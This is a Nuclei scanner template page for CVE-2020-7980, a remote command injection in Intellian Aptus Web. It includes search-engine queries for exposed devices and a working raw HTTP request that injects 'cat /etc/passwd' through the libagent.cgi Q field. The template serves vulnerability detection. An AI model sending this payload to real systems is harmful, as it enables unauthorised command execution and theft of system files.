Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution

ID: CVE-2020-7980

Severity: critical

Author: ritikchaddha

Tags: cve2020,cve,intellian,aptus,packetstorm,satellian,rce,intelliantech

Description

Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.

YAML Source

id: CVE-2020-7980

info:
  name: Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: 'Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.'
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of Satellian Intellian Aptus Web (version > 1.24).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7980
    - https://sku11army.blogspot.com/2020/01/intellian-aptus-web-rce-intellian.html
    - https://github.com/Xh4H/Satellian-CVE-2020-7980
    - http://packetstormsecurity.com/files/156143/Satellian-1.12-Remote-Code-Execution.html
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7980
    cwe-id: CWE-78
    epss-score: 0.96876
    epss-percentile: 0.99703
    cpe: cpe:2.3:a:intelliantech:aptus_web:1.24:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelliantech
    product: aptus_web
    shodan-query:
      - http.title:"Intellian Aptus Web"
      - http.title:"intellian aptus web"
    fofa-query: title="intellian aptus web"
    google-query: intitle:"intellian aptus web"
  tags: cve2020,cve,intellian,aptus,packetstorm,satellian,rce,intelliantech

http:
  - raw:
      - |
        POST /cgi-bin/libagent.cgi?type=J HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: ctr_t=0; sid=123456789

        {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "cat /etc/passwd", "F": "EXEC_CMD"}, "V_": 1}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022049b060bc800f420178229d860666d28dcda9efcdecfc1755eae5d9a64ac8384102200ad53a939d0daf52be2860a2842bf8adaf0d38de678a9cf07d008b5686484cba:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-7980.yaml"

View on Github